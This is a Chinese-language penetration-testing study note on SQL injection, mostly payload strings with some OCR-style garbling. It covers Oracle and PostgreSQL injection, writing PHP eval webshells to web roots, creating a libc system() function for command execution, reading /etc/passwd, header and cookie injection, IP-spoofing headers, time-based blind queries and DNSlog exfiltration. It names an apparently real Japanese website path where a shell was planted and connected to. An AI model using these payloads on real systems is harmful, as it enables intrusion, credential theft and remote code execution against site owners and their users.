其他注入
Oracle手工注入
Oracle数据库介绍
特点
- 支持多用户、大事务量的处理
- 数据安全性和完整性的有效控制
- 支持分布式数据处理
- 移植性强
常见的站点
大学、银行、旅游、交易所(全国性的、用户量多的网站)
搭载脚本
jsp + sqlsever\mysql\oracle
判断数据库
判断注入
and 1=1
and 1=2
判断oracle数据库
and exists(select * from dual)
and exists(select * from user tables)
判断列
order by
获取数据类型不匹配的列
union select null,null,null,null,null···
在每列上逐个用数字代替 如果返回正常说明该列为数字类型,反之则为非数字类型;也可以逐个用引号引起来如:null',null...from dual, 返回正常说明该列为字符类型,反之为非数字类型
使用null填充的数据库
SQL sever、Oracle、postgresql
获取基本信息
获取数据库版本
select banner from sys.v Sversion where rownum=1
获取操作系统版本
select member from vSlogfile where rownum=1
获取连接数据库的当前用户
select SYS CONTEXT(USERENV,CURRENT USER')from dual
获取数据库
select owner from all tables where rownum=1
实验环境:合天实验室
tips:Oracle表数量庞大,手工注入很麻烦,一般用工具跑
orcle注入工具
sqlmap、穿山甲
sqlmap
找管理员表:
1.由于表数量庞大,所以可以使用--count计数一下表的列数,管理员表列数较少,一般在10列以内
2.使用--serch -C pass/password/pwd等等与密码相关的字样来找密码列
postgresql手工注入
postgresql介绍
它包含了SQL sever、MySQL的注入类型
管理员权限:postgres
可能遇到的问题:
1.当一个存在注入的网站输入order by 1返回正常, order by 1000也返回正常
这种情况可能在注入点后面还存在语句,对你正在执行的语句进行了干扰如 id=1 & ssid=12313
考虑在order by 后面加注释 --+
、#
或者%23
2.对一字符列如果爆不出内容,更换到另一列,或者把要爆的列名转为16进制
postgresql数据库注入常用语法
判断是否为postgresql数据库
+and+1::int=1--
判断数据库版本信息
+and+1=cast(version( as int)--
判断当前用户
and 1=cast(user/l123 as int)
判断有多少字段
order by
union select null,null,null
union select null,user,null
判断当前用户
判断数据库版本信息
union select null,version(),null--
判断用户权限
union+select+null,current schema(),null
判断当前数据库名称
union+select+null,current database(),null
判断当前表名
union+select+null,relname,null from pg_stat_user_tables
读取每个表的列名
union+select+null,column name,null+from+information_schema.columns+where+table_name='表名'
tips:中间的加号=空格
列字段内容
+union+select+null,namellpass,null+from+admin
查看postgresql数据库的账号密码
+union+select+null,usenamelchr(124)]passwd,null+from+pg shadow
创建用户
;create+user+seven+with+superuser+password+'seven'--
修改postgres的用户密码为123456
;alter+user+postgres+with+password+'123456'--
postgresql写shell
如果测出来时postgres权限的话可以写shell
直接拿shell
http://127.0.0.1/sqlphp?id=1;create table shell(shell text not null);
http://127.0.0.1/sqlphp?id=1;insert into shell values($$ <?php@eval($_POST[shell];?$$);
http://127.0.0.1/sqlphp?id=1;copy shell(shell) to'/var/www/html/shell.php';
创建一个表,往表里写一句话,复制到网站更目录里面生成shell.php
另一种方法:
;copy (select'$$<?php @eval($ POST[shell]);?>$$) to c:/inetpub/wwwroot/mysql-sql7ddd.php
根目录
读取文件前20行
pg_read_file('/etc/passwd',1,20)
相当于load_file()
创建system函数
条件:版本大于8的数据库
创建一个system的函数:
create FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C'STRICT
创建一个输出表:
create table stdout(id serial, system out text)
执行shell,输出到输出表内:
select system(uname -a > /tmp/test)
copy 输出的内容到表里面:
COPY stdout(system out) FROM '/tmp/test'
从输出表内读取执行后的回显,判断是否执行成功
union all select NULL,(select stdout from system out order by id desc),NULL limit 1 offset 1--
数据库备份还原
备份数据库
pg_dump -O -h 168.192.0.5 -U postgres mdb >c:\mdb.sqll
pg_dump -O -h 192.168.0.5 -U dbowner -w -p 5432 SS >ss.sgl
这个是远程备份数据库备份到本地来
还原数据库
psgl -h localhost -U postgres -d mdb
判断注入
'
报错
and 1=1
正常
and 1=2
报错
获取信息
and 1=cast(version() as int)
获取数据库版本信息系统信息
and 1=cast(user||123 as int)
获取当前用户名称 postgres用户相当于root用户权限
创建表
条件:管理员权限
;create table ccc(w text not null);
写入一句话
;insert into ccc values($$<?php @eval($_POST[shell]);?>$$);
导出一句话
;copy ccc(w) to $$home/kasugai_tochi/public_html/script/shell.php$$;
将一句话保存为shell.php文件
使用菜刀连接 http://www.kasugai-tochi.jp/script/shell.php
各种提交方式的注入漏洞挖掘
常见的提交方式
Get
、post
、cookie
、head
、put
、option
不同提交方式的sqlmap语句
get:sqlmap -u "xxx.asp?id=1"
post:sqlmap -u "xxx.asp" --data "id=1"
cookie:sqlmap -u "xxx.asp" --cookie "id=1" --level 2
http:level 3
Get
asp/aspx网站:
- 如果遇到有多个参数如id=123&bid=123&cid=123要一起测
- 如果遇到参数后跟的不是数字而是字符,
-0
、/
就失效了,注入一般是字符型注入加'
测注入:'
字符型,-0
、/
waf一般不拦截
有注入测有无waf:and 1=1
waf一般会拦截,而有些waf不拦截,那就用order by
、union
等来测
php网站:
基于asp,注意魔术引号转义,用%bf'
进行宽字节绕过
Post
post提交方式主要适用于表单的提交
挖掘的时候注意魔术引号
可能存在漏洞的位置:
搜索框、登录、留言、注册
登录框一般用用户名来测,因为密码提交到数据库回转化为md5,没办法执行
抓包后在repeater中查看
使用sqlmap的三种方式
- sqlmap跑post请求包,用sqlmap跑数据包txt文件即可
sqlmap-u "http://192.168.80.105:8008/index.php'--form
自动识别表单,检测注入sqlmap -u "http://192.168.80.105:8008/index.php" --data "username=admin&password=123"
将数据包中信息的放入""
--flush-session
清空缓存
注意:表单页面要是提交的页面而不是原来的页面
变换提交方式有一定绕过waf的功能
e.g.安全狗,使用post提交要用%0a代替空格
XDCMS全版本存在sql注入漏洞
需要使用代理抓包改包工具进行完成
sql exp
%60%3D%28select%20group_concat%28username%2C0x3a%2Cpassword%29%20from%20c admin%20where%20id%3D1%29%23
抓包放在表单名称后面,不是参数后面
cookie
cookie提交用于账号密码的cookie缓存
还可以通过cookie注入来突破简单的防注入系统
如果服务器同时接收get和post,那么也会接收cookie
request同时接收get、post、cookie
使用cookie提交的时机:
get、post语句被服务器过滤,使用cookie过掉waf和通用防护代码
http
常见的http请求中存在注入的参数
User-agent
Referer
X-Forwarded-For
Client-ip
有时抓包没有相关的参数可以自行添加参数
常见的记录你ip的位置:
登录用户、修改资料、留言 可以用client-ip注入,没有client-ip在数据包中添加即可
modify插件(google)
-
可以设置在你访问网站时自动添加请求参数
-
可以用于你利用xss获取到cookie后登录后台提示非法ip不允许登录,有些系统是通过请求头判断是否为合法ip,此时就可以使用modify伪造一个被允许的ip去登录(常用到的参数:
Client-ip
、X-Forwarded-For
),拿不准时也可以将以下ip都写进去。(bp插件fakeip)
- X-Forwarded-For:127.0.0.1
- X-Forwarded-Host:127.0.0.1
- X-Client-IP:127.0.0.1
- X-remote-IP:127.0.0.1
- X-remote-addr:127.0.0.1
- True-Client-IP:127.0.0.1
- X-Client-IP:127.0.0.1
- Client-IP:127.0.0.1
- X-RealIP:127.0.0.1
如果本地ip127.0.0.0不行,要通过分析xss打下的cookie信息得到管理员上一次登录过的ip,用他的ip。
exp构造
exp放在你在留言板输入的那列
(select concat(admin name0x3a,pwd)
结果:
伪静态注入的挖掘
伪静态注入
能还原称动态尽量还原,不能还原就地测试
xx/htlm/数字.html 在数字后加'
')
等,更换注释符--
#
%23
,根据报错信息具体操作。
可以通过构造脚本将伪静态改回动态,如
改成
使用工具操作:
sqlmap -u "http://59.63.200.79:5456/download/index/9*.html"
在注入的位置加 *
时间延迟注入漏洞
延迟注入
延时注入是通过页面返回的时间来判断的
不同的mysql数据库版本,延迟注入语句也不同
- mysql >=5.0 的可以使用
sleep()
进行查询 - mysql<5.0 的可以使用
benchmark()
进行查询
benchmark用法
benchmark(n,sgl语句) n为查询次数
通过查询次数增多 时间变得缓慢来判断是否存在延迟
select benchmark(1000,select * from admin)
sleep()延迟注入用法
sleep 可以强制产生一个固定的延迟
sleep()延迟注入核心原理
and if(true,sleep(5),0); ==IF(1=1, true, false);
id=1 and sleep(5)
判断下是否存在延迟注》
and if(substring(user(),1,4)='root'sleep(5),1)
判断当前用户(为真延迟5秒返回,为假立刻返回)
and if(MID(version(),1,1) LIKE 5, sleep(5),1)
判断数据库版本信息是否为5
可以去猜解他的数据库名称
and if(ascii(substring(database(),1,4))> 100,sleep(5),1)
and lf(ascii(substr(database(),1,1))<115,sleep(10),1)--+
and lf(length((version()))=6,sleep(10),1)--+
sqlmap --time-sec=2
延迟注入
手工时间盲注
dnslog 注入
dnslog 平台会记录域名dns查询记录,通过我们把查询的结果和dns子域名拼接,发送给dnslog平台查询,就会记录我们的语句查询结果,从而快速提升延迟注入速度。
条件:
root权限 (要借助load file()函数)
-
列表名
and if((select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema="Tian' limit 0,1)'.tunxf1.dnslog.cnllabc')))1.1)--+
#查表名,tunxf1.dnslog.cnllab为dnslog随机生成的本地子域名 -
列列名
and if((select load_file(concat('\\\\',(select column_name from information_schema.columns where table_name='user'limit 0,1).7dluss.dnslog.cn\labc'))),1,1)--+
-
第二个列名
and if((select load_file(concat('\\\\',(select column_name from information_schema.columns where table_name='user' limit 1,1).7dluss.dnslog.cn abc))),1,1)--+
-
列数据
and if((select load_file(concat('\\\\',(select username from user limit 0,1),'.7dluss.dnslog.cn labc'))),1,1)--+
BASE64编码注入漏洞
注入点参数被编码
- 解码
- 构造语句
- 编码
- $id=base64 decode($id);
注入点为(''):
如果#、--+不能注释掉后面
使用id=1') and 1=2 and ('1=1
闭合前后,中间替换语句,同时满足脚本代码和数据库查询语句,必要时中间加入注释如id=1') order by 3 -- and ('1=1
二阶注入漏洞
作为sql注入的一种,不同于普通的SQL注入,恶意代码被注入web应用中不立即执行,而是存储到后端数据库,在处理另一次不同请求时,应用检索到数据库中的恶意输入并利用它动态构建SQL语句,实现了攻击。
(在当前页面执行语句不会回显,而是存储到数据库,在另一个页面执行语句时回显)
二阶SQL注入的攻击过程归纳如下:
- 攻击者在一个HTTP请求中提交恶意输入
- 用于将恶意输入保存在数据库中。
- 攻击者提交第二个HTTP请求。
- 为处理第二个HTTP请求,应用检索存储在后端数据库中的恶意输入动态构建SQL语句
- 如果攻击实现,在第二个请求的响应中向攻击者返回结果
XML注入漏洞
XML:
可拓展编辑语言,标准通用标记语言的子集,是一种用于标记电子文件使其具有结构性的标记语言。
(一般用于数据存储,数据传输)
xml注入实例
- 漏洞形成原因:
- 代码过滤不严
- 用户可以控制
- 漏洞实例:
- 任意文件读取实例
- 用户注册注入实例
App注入漏洞挖掘
利用抓包工具获取app发送到服务器的链接
burp、fiddler即可
得到链接进行测试
注意:
- 使用sqlmap时加
--mobile
- 抓https要在手机上安装crt证书(burp)
- 抓包时要关闭防火墙
抓包流程:
bp监听所有地址
手机设置代理ipv4与主机同网段